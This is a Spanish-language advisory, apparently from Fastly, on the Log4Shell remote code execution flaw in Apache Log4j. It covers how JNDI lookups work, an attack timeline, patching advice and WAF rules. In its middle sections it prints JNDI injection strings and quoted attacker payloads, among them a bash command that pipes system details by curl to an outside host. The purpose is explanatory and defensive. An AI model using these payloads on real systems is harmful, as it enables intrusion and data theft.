Profundizando en Log4Shell - 0Day RCE exploit encontrado en Log4j
Lo que debes saber:
Esta vulnerabilidad se está aprovechando activamente en la naturaleza, permite la ejecución remota de código y es trivial de aprovechar.
Hay un parche disponible y debes aplicarlo inmediatamente.
Nuestros clientes del WAF de última generación pueden habilitar una regla basada en plantilla para protegerse de esta vulnerabilidad.
CVE-2021-44228 es una vulnerabilidad de ejecución remota de código en la Biblioteca Apache Log4j, una herramienta de registro basada en Java ampliamente utilizada en aplicaciones de todo el mundo.Esta vulnerabilidad permite a un atacante que puede controlar los mensajes de registro ejecutar código arbitrario cargado desde servidores controlados por el atacante, y anticipamos que la mayoría de las aplicaciones que usan la biblioteca Log4j cumplirán esta condición.
Qué consecuencias tiene:
El impacto es a gran escala, ya que Log4j es una biblioteca de registro muy común que se utiliza en la mayoría de las aplicaciones Java, incluso en sistemas comerciales para registrar información de registro.
Hay algunos factores que aumentan la probabilidad de un aprovechamiento generalizado: la vulnerabilidad es un RCE que existe desde hace mucho tiempo, la biblioteca está ampliamente implementada e incluso atacantes con poca práctica podrían activarla.Básicamente, los operadores de ransomware que esperaban pillar desprevenidos a los equipos empresariales durante las vacaciones acaban de recibir el regalo perfecto de Santa.Según se informa, ya hay un criptominero implementado que aprovecha esta vulnerabilidad, emergiendo menos de 24 horas después de que se lanzara un POC.
Análisis en profundidad:
Los desarrolladores generalmente pueden asumir que su marco de registro trataría los mensajes solo como datos y manejaría el formato básico.Sin embargo, Log4j 2.0 agregó búsquedas, incluidas las búsquedas JNDI.Estas búsquedas JNDI no estaban restringidas, lo que provocó la vulnerabilidad.
La interfaz de directorio y nombres de Java (JNDI) es una API de Java para un servicio de directorio que te permite interactuar con LDAP o DNS para buscar datos y recursos.Desafortunadamente, uno de los tipos de datos que se pueden devolver es un identificador de recurso uniforme (URI) que va dirigido a una clase Java, y si cargas una clase Java que no es de confianza, entonces estás ejecutando sin darte cuenta el código de otra persona.
Incluso registrando un mensaje como
log.info("this is a security nightmare! {}", userInput)puede desencadenar una llamada LDAP remota, provocando la instanciación de una clase Java ficticia.
En entornos de producción, es común registrar información HTTP.Un ejemplo del mundo real de este mismo problema sería:
log.info("Request User-Agent: {}", userAgent);Cómo funciona el ataque:
Después de la inserción inicial de la cadena jndi:, se sigue un URI para acceder a la carga útil secundaria que provoca la ejecución del comando.
El atacante construiría una inserción jndi: inicial y la incluiría en el encabezado HTTP del agente de usuario:
User-Agent: ${jndi:ldap://<host>:<port>/<path>}Ahora, la instancia vulnerable de Log4j realizará una consulta LDAP al URI incluido.El servidor LDAP responderá con información de directorio que contiene el enlace de carga útil secundaria:
dn:javaClassName: <class name>javaCodeBase: <base URL>objectClass: javaNamingReferencejavaFactory: <file base>Los valores javaFactory y javaCodeBase se utilizan para construir la ubicación del objeto que contiene la clase Java que representa la carga útil final.Finalmente, la clase Java se carga en la memoria y la instancia vulnerable de Log4j la ejecuta, completando la ruta de ejecución del código.
El equipo de investigación de Fastly Security también ha recreado con éxito una capacidad arbitraria para forzar que las consultas de DNS sean ejecutadas por la instancia vulnerable de Log4j mediante el uso de la cadena:
${jndi:dns://<dns server>/<TXT record query string>}En este momento, no está claro que DNS proporcione una ruta para la ejecución de código arbitrario, pero se puede usar para escanear la vulnerabilidad, o incluso para hacer un túnel de datos a través de DNS cuando otros controles de seguridad bloquean la comunicación (como una regla de firewall de salida).
Impacto
Si bien la realización del ataque requiere herramientas desconocidas para algunos atacantes, la ruta final de ejecución completa del código a través de LDAP no es difícil.Ya hemos visto a los atacantes aumentar sus conocimientos y habilidades durante el primer día, y esto no hará más que continuar.
Para buscar atacantes que abusen de esta vulnerabilidad, ha resultado útil utilizar la herramienta ldapsearch para enumerar las ubicaciones finales de la carga útil y buscar posibles puntos de malicia.Recuperamos múltiples cargas útiles finales a las que se hace referencia en las respuestas LDAP que parecen ser pruebas e incluyen código como:
String payload = "uname -a | curl -d @- http://<host>";String[] cmds = {"/bin/bash", "-c", payload};java.lang.Runtime.getRuntime().exec(cmds);class Exploit { static { try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {} }}Sin embargo, como se discutió, esto muestra claramente la capacidad de ejecutar más código malicioso.
Lo que hemos visto
Log4j debe registrar el activador jndi: URI para aprovechar el error.Hemos observado que los atacantes insertan la cadena en una variedad de encabezados HTTP para realizar esto, siendo User-Agent, con mucho, la ubicación más común.Pero también hemos observado atacantes que intentan la inserción ofensiva en cada encabezado que puede contener cadenas arbitrarias, e incluso en la propia ruta URI, durante las primeras 24 horas posteriores a la divulgación.Incluso hemos observado la cadena jndi: en los cuerpos POST, que se registran con menos frecuencia.
Con todo, significa que los atacantes están claramente intentando todos los medios posibles para buscar devoluciones de llamada (es decir, un control exitoso a través de los argumentos proporcionados por el atacante).Cuando los atacantes están invirtiendo tan activa y rápidamente en I+D para aprovechar una vulnerabilidad (lo cual no es cierto todos los días que se hacen públicas), es razonable suponer que las campañas de ataque capaces de aprovechar la vulnerabilidad de forma escalable o automatizada surgirán rápidamente.
Cronología
El 24 de noviembre de 2021, el equipo de seguridad en la nube de Alibaba notificó a Apache la vulnerabilidad de ejecución remota de código Log4j.La prueba de concepto de exploit se publicó en Github a las 15:32 GMT del 9 de diciembre de 2021, y vimos los primeros intentos de activar devoluciones de llamada 82 minutos después.
Al principio, los atacantes claramente intentaban comprender el exploit, elaborando mal sus ataques iniciales.Algunas de las URL de LDAP incluso fueron atendidas incorrectamente por un servidor HTTP.Por ejemplo, cuando el intento se hacía con {jndi:ldap://example.com:1234/callback}, http://example.com:1234/callback devolvería datos.
Al igual que con cualquier error generalizado, el escaneo aumentó significativamente durante el primer día y los atacantes aprendieron claramente cómo moverse e identificar grandes cantidades de aplicaciones que contienen la vulnerabilidad al registrar las devoluciones de llamada.
Este gráfico muestra la línea de tendencia de inserciones de devolución de llamada jndi: durante las primeras 24 horas del incidente tal y como lo vio Fastly.Como puedes ver, el crecimiento ha sido significativo.Otra tendencia notable es que, en 18 horas, los atacantes mejoraron sus métodos y los servidores LDAP configurados correctamente comenzaron a crecer en número.Esto permitió al atacante redirigir las devoluciones de llamada a cargas útiles secundarias almacenadas en escuchas HTTP.
Si bien el primer día de aprovechamiento se centró en escanear y enumerar, seguramente seguirá un aprovechamiento más dañino.
Qué hacer:
Idealmente, deberías adquirir una comprensión de la corrección y el riesgo que representa para tu entorno para ayudar a preparar el escenario para la remediación.Sin embargo, reconocemos que averiguar dónde está presente esta vulnerabilidad es una gran pregunta pendiente.Puede ser más seguro asumir que este problema está presente en tus aplicaciones y, por lo tanto, la aplicación de parches es la acción más fuerte ya que elimina el riesgo de la ejecución del código.
Otra opción es comprobar si su versión de Log4j admite la ejecución de la JVM con JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true para deshabilitar la funcionalidad de búsqueda en el servidor remoto.Esto debería aplicarse a las versiones 2.10.0 a 2.15.0.Para las versiones de 2.0-beta9 a 2.10.0, la mitigación es eliminar la clase JndiLookup del classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Nuestro WAF de próxima generación (el WAF de Signal Sciences) puede detectar esta vulnerabilidad.Si eres cliente de este producto, puedes seguir los pasos a continuación para habilitar una regla basada en plantilla que te proteja frente al aprovechamiento de CVE-2021-44228.
Navega hasta las reglas con plantilla y localiza el CVE-2021-44228:
Haz clic en configurar y habilitar Bloquear solicitudes de una IP inmediatamente si se observa la señal CVE-2021-44228.
Podemos desplegar mitigaciones basadas en VCL para esta amenaza para nuestros antiguos clientes de WAF.Si deseas obtener ayuda para aplicar esta configuración, ponte en contacto con nuestro CSOC en securitysupport@fastly.com.
